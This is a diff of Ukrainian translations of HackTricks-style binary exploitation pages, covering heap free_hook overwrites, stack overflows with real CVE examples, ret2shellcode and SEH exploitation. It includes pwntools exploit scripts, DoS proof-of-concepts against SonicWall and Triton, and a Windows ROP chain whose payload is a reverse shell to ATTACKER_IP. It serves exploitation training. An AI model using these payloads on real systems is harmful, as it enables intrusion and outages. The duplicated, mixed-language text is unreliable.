- І нарешті chunk, що містить рядок `/bin/sh\x00`, звільняється викликом delete, що спричиняє виклик **`__free_hook`**, яка тепер вказує на system з `/bin/sh\x00` як параметром.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Інший приклад використання 1B overflow для консолідації чанків в unsorted bin і отримання libc infoleak, а потім виконання fast bin attack для перезапису malloc hook на адресу one gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Можна виділяти лише чанки розміру більше `0x100`.
- Перезаписати `global_max_fast` за допомогою Unsorted Bin attack (працює 1/16 разів через ASLR, бо потрібно змінити 12 бітів, але нам потрібно змінити 16).
- Fast Bin attack для модифікації глобального масиву чанків. Це дає примітив довільного читання/запису, що дозволяє змінювати GOT і вказати деяку функцію на `system`.
- Якщо вдасться отримати fast chunk розміру 0x200 у цій локації, буде можливість перезаписати function pointer, який буде виконано.
- Для цього створюють новий chunk розміру `0xfc` і викликають merge з цим вказівником двічі, таким чином отримують вказівник на freed chunk розміру `0xfc*2 = 0x1f8` у fast bin.
- Потім викликають edit для цього chunk, щоб змінити адресу **`fd`** fast bin і вказати її на попередній **`__free_hook`**.
- Далі створюють chunk розміру `0x1f8`, щоб отримати з fast bin попередній непотрібний chunk, після чого створюють ще один chunk розміру `0x1f8`, щоб отримати fast bin chunk у **`__free_hook`**, який перезаписується адресою функції **`system`**.
- І нарешті chunk, що містить рядок `/bin/sh\x00`, звільняється викликом delete, що trigger'ить **`__free_hook`**, який тепер вказує на system з параметром `/bin/sh\x00`.
## References
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Ще один приклад зловживання 1B overflow для консолідації chunks в unsorted bin і отримання libc infoleak, а потім виконання fast bin attack для перезапису malloc hook адресою one gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Можна виділяти лише chunks розміром більше ніж `0x100`.
- Перезапис `global_max_fast` за допомогою Unsorted Bin attack (працює 1/16 разів через ASLR, бо потрібно модифікувати 12 біт, але треба змінити 16 біт).
- Fast Bin attack для зміни глобального масиву chunks. Це дає довільні read/write примітиви, що дозволяє змінювати GOT і вказати деякі функції на `system`.
## Посилання
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c

View File

@ -1,18 +1,26 @@
# Stack Overflow
# Переповнення стеку
{{#include ../../banners/hacktricks-training.md}}
## Що таке Stack Overflow
## Що таке переповнення стеку
**stack overflow** — це вразливість, яка виникає, коли програма записує у stack більше даних, ніж для нього виділено. Ці зайві дані **перезапишуть сусідню ділянку пам'яті**, що призведе до пошкодження коректних даних, порушення потоку управління та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж вхідних даних.
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Головна проблема такого перезапису в тому, що **saved instruction pointer (EIP/RIP)** та **saved base pointer (EBP/RBP)** для повернення до попередньої функції **зберігаються на stack**. Отже, атакуючий зможе їх перезаписати і **контролювати потік виконання програми**.
Переповнення стеку — це вразливість, що виникає, коли програма записує в стек більше даних, ніж йому виділено. Ці зайві дані **перезаписують сусідні області пам'яті**, що призводить до пошкодження коректних даних, порушення потоку керування та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж введення.
Зазвичай вразливість виникає через те, що функція **копіює у stack більше байтів, ніж для неї виділено**, тим самим перезаписуючи інші частини stack.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Деякі поширені функції, вразливі до цього: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції на кшталт **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть використовуватися вразливо, якщо вказана довжина перевищує виділений обсяг.
Головна проблема такого перезапису в тому, що **збережений вказівник інструкцій (EIP/RIP)** і **збережений базовий вказівник (EBP/RBP)**, які використовуються для повернення до попередньої функції, **зберігаються у стеку**. Тому атакуючий може перезаписати їх і **контролювати потік виконання програми**.
Наприклад, наступні функції можуть бути вразливими:
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
Вразливість зазвичай виникає через те, що функція **копіює в стек більше байтів, ніж їй виділено**, і таким чином може перезаписати інші частини стеку.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
Деякі поширені функції, вразливі до цього: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції на кшталт **`fgets`**, **`read`** і **`memcpy`**, які приймають аргумент довжини, можуть використовуватися небезпечно, якщо вказана довжина більша за виділену.
For example, the following functions could be vulnerable:
```c
void vulnerable() {
char buffer[128];
@ -21,13 +29,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Знаходження зсувів для Stack Overflows
### Finding Stack Overflows offsets
Найпоширеніший спосіб знайти Stack Overflows — подати дуже великий вхід з `A` (наприклад `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, яке вказує, що **було спробовано звернутися до адреси `0x41414141`**.
Найпоширеніший спосіб виявити stack overflows — подати дуже великий ввід `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **було спробовано звернутися до адреси `0x41414141`**.
Крім того, коли ви виявили, що існує Stack Overflow вразливість, вам потрібно знайти зсув, необхідний для того, щоб можна було **перезаписати адресу повернення**. Для цього зазвичай використовують **De Bruijn sequence.** Для заданого алфавіту розміру _k_ і підпослідовностей довжини _n_ це є **циклічна послідовність, у якій кожна можлива підпослідовність довжини _n_ з'являється рівно один раз** як суцільна підпослідовність.
Більше того, коли ви виявили, що є Stack Overflow vulnerability, потрібно буде знайти offset до того місця, де можна **overwrite the return address**; для цього зазвичай використовують **De Bruijn sequence.** Для заданої абетки розміру _k_ і підпослідовностей довжини _n_ це **циклічна послідовність, у якій кожна можлива підпослідовність довжини _n_ трапляється рівно один раз** як суміжна підпослідовність.
Таким чином, замість того, щоб вручну визначати, який зсув потрібен для контролю EIP, можна використати як наповнювач одну з таких послідовностей і потім знайти зсув байтів, які в кінці перезаписали її.
Таким чином, замість того, щоб вгадувати вручну, який offset потрібен для контролю EIP, можна використати одну з цих послідовностей як padding, а потім знайти offset байтів, які в результаті її перезаписали.
Для цього можна використати **pwntools**:
```python
@ -48,16 +56,16 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Exploiting Stack Overflows
## Експлуатація переповнень стеку
Під час overflow (припустивши, що розмір overflow достатньо великий) ви зможете **overwrite** значення локальних змінних у stack, поки не досягнете збережених **EBP/RBP and EIP/RIP (or even more)**.\
Найпоширеніший спосіб зловживання цим типом вразливості — **modifying the return address**, тож коли функція завершиться, **control flow буде перенаправлений куди вказано в цьому вказівнику**.
Під час переповнення (за умови, що розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних у стеку до моменту досягнення збережених **EBP/RBP and EIP/RIP (or even more)**.\
Найпоширеніший спосіб використати таку вразливість — **змінити адресу повернення**, щоб коли функція завершиться **потік виконання було перенаправлено туди, куди вказано у цьому вказівнику**.
Однак в інших сценаріях може бути достатньо просто **overwriting some variables values in the stack** (наприклад у простих CTF challenges).
Проте в інших сценаріях іноді достатньо просто **перезаписати деякі значення змінних у стеку** для експлуатації (наприклад, у простих CTF-завданнях).
### Ret2win
У цьому типі CTF challenges у бінарі є **function** всередині, яка **ніколи не викликається**, і яку **потрібно викликати, щоб виграти**. Для таких завдань потрібно знайти **offset to overwrite the return address** та **find the address of the function** для виклику (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб коли вразлива функція повернеться, прихована функція була викликана:
У такого роду CTF-завданнях у бінарному файлі є **функція**, яка **ніколи не викликається**, але яку **потрібно викликати, щоб перемогти**. Для таких задач потрібно лише знайти **зсув для перезапису адреси повернення** і **знайти адресу функції**, яку викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) вимкнений), тож коли вразлива функція повернеться, прихована функція буде викликана:
{{#ref}}
@ -66,7 +74,7 @@ ret2win/
### Stack Shellcode
У цьому сценарії атакуючий може розмістити shellcode в stack і використати контрольований EIP/RIP, щоб перейти до shellcode і виконати довільний код:
У цьому сценарії атакуючий може розмістити shellcode у стеку та скористатися контрольованим EIP/RIP, щоб перейти до shellcode і виконати довільний код:
{{#ref}}
@ -75,7 +83,7 @@ stack-shellcode/
### Windows SEH-based exploitation (nSEH/SEH)
На 32-bit Windows overflow може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої return address. Експлуатація зазвичай замінює SEH pointer на POP POP RET gadget та використовує 4-байтне поле nSEH для короткого стрибка, щоб повернутися в великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp в nSEH, який потрапляє на 5-байтний near jmp, розміщений безпосередньо перед nSEH, щоб відскочити на сотні байтів назад до початку payload.
На 32-бітних Windows переповнення може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої адреси повернення. Експлуатація зазвичай замінює вказівник SEH на POP POP RET gadget і використовує 4-байтове поле nSEH для короткого переходу, щоб повернутися у великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp у nSEH, який приземляється на 5-байтовий near jmp, розташований безпосередньо перед nSEH, щоб здійснити стрибок на сотні байтів назад до початку payload.
{{#ref}}
@ -84,7 +92,7 @@ windows-seh-overflow.md
### ROP & Ret2... techniques
Ця техніка є фундаментальною основою для обходу основного захисту попереднього підходу: **No executable stack (NX)**. Вона також дозволяє реалізувати кілька інших технік (ret2lib, ret2syscall...), які врешті виконують довільні команди, зловживаючи існуючими інструкціями в бінарі:
Ця техніка є базовим підходом для обходу основного захисту попереднього підходу: **No executable stack (NX)**. Вона також дозволяє застосовувати інші техніки (ret2lib, ret2syscall...), які в кінцевому підсумку виконують довільні команди, використовуючи наявні інструкції в бінарному файлі:
{{#ref}}
@ -93,16 +101,16 @@ windows-seh-overflow.md
## Heap Overflows
Overflow трапляється не завжди в stack, він також може бути в **heap**, наприклад:
Переповнення не завжди відбувається у стеку, воно також може бути в **heap**, наприклад:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Типи захистів
## Types of protections
Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей перегляньте їх у:
Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей, перегляньте їх у:
{{#ref}}
@ -111,34 +119,34 @@ Overflow трапляється не завжди в stack, він також м
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Яскрава демонстрація того, чому **`sscanf` should never be trusted for parsing untrusted input** з’явилася у 2025 році в SonicWall SMA100 SSL-VPN appliance.
Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягнути версію та endpoint з будь-якого URI, що починається з `/__api__/`:
Добре підтвердження того, чому **`sscanf` ніколи не слід довіряти для розбору ненадійного вводу** з'явилося у 2025 році в SonicWalls SMA100 SSL-VPN appliance.
Уразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та endpoint з будь-якого URI, що починається з `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Перша конверсія (`%2s`) безпечно зберігає **два** байти в `version` (наприклад `"v1"`).
2. Друга конверсія (`%s`) **не має специфікатора довжини**, тому `sscanf` продовжуватиме копіювання **до першого байта NUL**.
3. Оскільки `endpoint` розташований на **stack** і має довжину **0x800 байтів**, передача шляху довшого за 0x800 байтів пошкоджує все, що знаходиться після буфера включно з **stack canary** та **saved return address**.
1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`).
2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**.
3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer including the **stack canary** and the **saved return address**.
Достатньо single-line proof-of-concept, щоб спричинити crash **before authentication**:
Достатньо однорядкового proof-of-concept, щоб викликати crash **before authentication**:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Навіть незважаючи на те, що stack canaries переривають процес, атакуючий все одно отримує примітив **Denial-of-Service** (а при додаткових information leaks — можливе виконання коду). Урок простий:
Навіть якщо stack canaries припиняють процес, нападник усе ще отримує примітив **Denial-of-Service** (а з додатковими information leaks — можлива й code-execution). Урок простий:
* Завжди вказуйте **максимальну ширину поля** (наприклад `%511s`).
* Надавайте перевагу безпечнішим альтернативам, таким як `snprintf`/`strncpy_s`.
* Віддавайте перевагу безпечнішим альтернативам, таким як `snprintf`/`strncpy_s`.
### Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
### Приклад з реального життя: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIAs Triton Inference Server (≤ v25.06) містив кілька **stack-based overflows**, до яких можна було дістатися через його HTTP API.
Вразливий патерн багаторазово з'являвся в `http_server.cc` та `sagemaker_server.cc`:
NVIDIAs Triton Inference Server (≤ v25.06) містив кілька **stack-based overflows**, доступних через його HTTP API.
Уразливий шаблон неодноразово з'являвся в `http_server.cc` та `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -148,11 +156,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, що складають поточне тіло HTTP-запиту.
2. Кожен сегмент призводить до виділення **16-byte** `evbuffer_iovec` на **stack** через `alloca()` **без будь-якої верхньої межі**.
3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит розбитися на **сотні тисяч 6-byte шматків** (`"1\r\nA\r\n"`). Це призводить до необмеженого зростання `n`, поки **stack** не буде вичерпано.
1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, які складають поточне HTTP тіло запиту.
2. Кожен сегмент спричиняє виділення **16-byte** `evbuffer_iovec` на **stack** через `alloca()` **без жодних верхніх обмежень**.
3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит бути розбитим на **сотні тисяч 6-byte chunks** (`"1\r\nA\r\n"`). Це змушує `n` необмежено зростати, поки stack не вичерпається.
#### Доказ концепції (DoS)
#### Демонстрація концепції (DoS)
```python
#!/usr/bin/env python3
import socket, sys
@ -176,10 +184,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.
Запит розміром ~3 MB достатній, щоб перезаписати збережену адресу повернення та **crash** демон у збірці за замовчуванням.
#### Патч і пом'якшення
Реліз 25.07 замінює небезпечне виділення в стеку на **heap-backed `std::vector`** та коректно обробляє `std::bad_alloc`:
Реліз 25.07 замінює unsafe stack allocation на **heap-backed `std::vector`** та коректно обробляє `std::bad_alloc`:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -190,9 +198,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
struct evbuffer_iovec *v = v_vec.data();
```
Уроки:
* Ніколи не викликайте `alloca()` з розмірами, контрольованими атакуючим.
* Запити з chunked кодуванням можуть радикально змінювати структуру буферів на сервері.
* Перевіряйте / обмежуйте будь-яке значення, отримане з введення клієнта, *перед* використанням його у виділеннях пам'яті.
* Ніколи не викликайте `alloca()` з attacker-controlled sizes.
* Chunked requests можуть істотно змінювати форму буферів на стороні сервера.
* Перевіряйте та обмежуйте будь-яке значення, отримане з вхідних даних клієнта, перед тим як використовувати його при виділенні пам'яті.
## Посилання
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)

View File

@ -4,9 +4,9 @@
## Основна інформація
**Stack shellcode** — це техніка, що використовується в **binary exploitation**, коли зловмисник записує shellcode у стек вразливої програми, а потім змінює **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)** так, щоб вони вказували на розташування цього shellcode, змушуючи його виконатися. Це класичний метод для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Нижче розбивка процесу, включно з простим прикладом на C та тим, як можна написати відповідний експлоїт на Python з використанням **pwntools**.
**Stack shellcode** — це техніка, що використовується в **binary exploitation**, коли атакуючий записує shellcode у стек вразливої програми, а потім змінює **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)** так, щоб він вказував на розташування цього shellcode, змушуючи його виконатися. Це класичний метод для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Нижче наведено розбір процесу, включно з простим прикладом на C та тим, як можна написати відповідний exploit на Python з використанням **pwntools**.
### C Example: Вразлива програма
### Приклад на C: вразлива програма
Почнемо з простого прикладу вразливої програми на C:
```c
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
Ця програма уразлива до buffer overflow через використання функції `gets()`.
Ця програма вразлива до переповнення буфера через використання функції `gets()`.
### Компіляція
Щоб скомпілювати цю програму, вимкнувши різні захисти (щоб змоделювати вразливе середовище), ви можете скористатися такою командою:
Щоб скомпілювати цю програму з відключенням різних захисних механізмів (щоб змоделювати вразливе середовище), можна використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Вимикає захист стеку.
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, розміщеного в стеку.
- `-z execstack`: Робить stack виконуваним, що необхідно для виконання shellcode, розміщеного в ньому.
- `-no-pie`: Вимикає Position Independent Executable, що полегшує передбачення адреси пам'яті, де буде розміщено наш shellcode.
- `-m32`: Компілює програму як 32-бітний виконуваний файл, часто використовується для простоти при розробці експлойтів.
- `-m32`: Компілірує програму як 32-бітний виконуваний файл, часто використовується для спрощення exploit development.
### Python експлойт з використанням Pwntools
### Python Exploit using Pwntools
Ось як ви могли б написати експлойт на Python з використанням **pwntools** для виконання атаки **ret2shellcode**:
Нижче показано, як можна написати exploit на Python з використанням **pwntools** для виконання атаки **ret2shellcode**:
```python
from pwn import *
@ -66,46 +66,27 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
Цей скрипт будує payload, що складається з **NOP slide**, **shellcode**, а потім перезаписує **EIP** адресою, яка вказує на NOP slide, гарантуючи виконання shellcode.
Скрипт будує payload, що складається з **NOP slide**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP slide, забезпечуючи виконання shellcode.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
**NOP slide** (`asm('nop')`) використовується для збільшення ймовірності, що виконання "провалиться" у наш shellcode незалежно від точної адреси. Відрегулюйте аргумент `p32()` до початкової адреси вашого буфера плюс офсет, щоб потрапити в NOP slide.
The **NOP slide** (`asm('nop')`) використовується, щоб підвищити ймовірність того, що виконання "з'їде" в наш shellcode незалежно від точної адреси. Відкоригуйте аргумент `p32()` до стартової адреси вашого buffer плюс offset, щоб потрапити в NOP slide.
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
На сучасних Windows стек не є виконуваним (DEP/NX). Поширений спосіб все ж виконати stack-resident shellcode після stack BOF — побудувати 64-bit ROP chain, який викликає VirtualAlloc (або VirtualProtect) з Import Address Table (IAT) модуля, щоб зробити регіон стеку виконуваним, а потім повернутися в shellcode, доданий після ланцюжка.
На сучасних Windows стек не є виконуваним (DEP/NX). Звичайний спосіб все ж виконати shellcode, розташований у стеці після stack BOF — це збудувати 64-bit ROP chain, який викликає VirtualAlloc (або VirtualProtect) з Import Address Table (IAT) модуля, щоб зробити ділянку стеку виконуваною, а потім повернутися в shellcode, доданий після ланцюга.
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
- RCX = lpAddress → виберіть адресу в поточному stack (наприклад, RSP), щоб новостворений RWX регіон перекривав ваш payload
- RDX = dwSize → достатній для вашого chain + shellcode (наприклад, 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Ключові моменти (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → виберіть адресу у поточному стеку (наприклад, RSP), щоб новостворений RWX регіон перекривав ваш payload
- RDX = dwSize → достатньо великий для вашого chain + shellcode (наприклад, 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Повернення безпосередньо в shellcode, розташований відразу після chain.
Minimal strategy:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
Мінімальна стратегія:
1) Leak базу модуля (наприклад, через format-string, object pointer тощо), щоб обчислити абсолютні адреси гаджетів та IAT під ASLR.
2) Знайдіть гаджети для завантаження RCX/RDX/R8/R9 (послідовності на базі pop або mov/xor) та виклик/cjmp [VirtualAlloc@IAT]. Якщо відсутні прямі pop r8/r9, використайте арифметичні гаджети для синтезу констант (наприклад, встановіть r8=0 і багаторазово додавайте r9=0x40 сорок разів, щоб отримати 0x1000).
3) Розмістіть stage-2 shellcode відразу після chain.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
@ -123,12 +104,12 @@ POP_RDX_RET; 0x1000
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
За допомогою constrained gadget set можна опосередковано сформувати значення регістрів, наприклад:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → встановлює r9 з rbx, зануляє r8 та компенсує стек одним junk qword.
- xor rbx, rsp; ret → ініціалізує rbx поточним значенням RSP.
- push rbx; pop rax; mov rcx, rax; ret → переміщує значення, отримане з RSP, у RCX.
Маючи обмежений набір gadget'ів, можна непрямо сформувати значення регістрів, наприклад:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → встановлює r9 із rbx, занулює r8 і компенсує стек зайвим qword.
- xor rbx, rsp; ret → ініціалізує rbx поточним значенням rsp.
- push rbx; pop rax; mov rcx, rax; ret → перемістити значення, похідне від RSP, у RCX.
Pwntools sketch (при наявній відомій базі та gadgets):
Приклад для Pwntools (за наявності відомої base та gadgets):
```python
from pwn import *
base = 0x7ff6693b0000
@ -152,29 +133,29 @@ rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Поради:
- VirtualProtect працює аналогічно, якщо краще зробити існуючий буфер RX; порядок параметрів інший.
- Якщо простору на stack мало, виділіть RWX в іншому місці (RCX=NULL) і jmp у цей новий регіон замість повторного використання stack.
- Завжди враховуйте gadgets, які змінюють RSP (e.g., add rsp, 8; ret) шляхом вставлення junk qwords.
- VirtualProtect працює подібно, якщо надання існуючому буферу RX є бажанішим; порядок параметрів відрізняється.
- Якщо місця в стеку мало, виділіть RWX в іншому місці (RCX=NULL) і jmp до цього нового регіону замість повторного використання стеку.
- Завжди враховуйте гаджети, що змінюють RSP (e.g., add rsp, 8; ret), вставляючи junk qwords.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинно бути відключено**, щоб адреса була надійною між виконаннями; інакше адреса, куди буде збережено функцію, не завжди буде однакова і вам знадобиться деякий leak, щоб з’ясувати, де завантажена win function.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути відключені, інакше скомпрометована EIP return address ніколи не буде використана.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** захист перешкоджатиме виконанню shellcode всередині stack, оскільки цей регіон не буде виконуваним.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинен бути вимкнений** для того, щоб адреса була надійною між виконаннями, інакше адреса, куди буде збережена функція, не завжди буде однаковою і вам знадобиться якийсь leak, щоб з’ясувати, де завантажена win function.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **повинні бути також вимкнені**, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** захист запобіг би виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним.
## Інші приклади та посилання
## Інші приклади та референси
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR з leak адреси stack, запис shellcode та перехід до нього
- 64bit, ASLR з leak адресою стеку, записати shellcode і перейти до нього
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR з leak адреси stack, запис shellcode та перехід до нього
- 32 bit, ASLR з leak стеку, записати shellcode і перейти до нього
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR з leak адреси stack, порівняння, щоб запобігти виклику exit(), перезапис змінної значенням, запис shellcode та перехід до нього
- 32 bit, ASLR з leak стеку, порівняння щоб запобігти виклику exit(), перезапис змінної значенням і запис shellcode та перехід до нього
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, без ASLR, ROP gadget для зроблення stack виконувальним і перехід до shellcode у stack
- arm64, без ASLR, ROP гаджет для роблення стеку виконуваним і перехід до shellcode у стеку
## Посилання
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

View File

@ -2,26 +2,26 @@
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation — класична x86 Windows техніка, яка зловживає Structured Exception Handler chain, що зберігається в стеку. Коли stack buffer overflow перезаписує два 4-байтові поля
SEH-based exploitation — це класична техніка для x86 Windows, яка зловживає ланцюжком Structured Exception Handler, що зберігається в стеку. Коли переповнення буфера на стеку перезаписує два 4-байтові поля
- nSEH: вказівник на наступний запис SEH, та
- SEH: вказівник на функцію обробника винятків
зловмисник може отримати контроль над виконанням шляхом:
нападник може отримати контроль над виконанням шляхом:
1) Встановлення SEH на адресу POP POP RET gadget в непідзахищеному модулі, так щоб при обробці винятку gadget повернув керування в байти, контрольовані зловмисником, та
2) Використання nSEH для перенаправлення виконання (зазвичай коротким стрибком) назад у великий переповнений буфер, де знаходиться shellcode.
1) Встановлення SEH на адресу POP POP RET гаджета в непідзахищеному модулі, так що коли виняток буде оброблено, гаджет поверне виконання до байтів, контрольованих нападником, та
2) Використання nSEH для перенаправлення виконання (зазвичай короткий стрибок) назад у великий переповнений буфер, де знаходиться shellcode.
Ця техніка специфічна для 32-bit процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH і ASLR для пошуку gadget'а. Недопустимі символи часто включають 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings і парсинг HTTP.
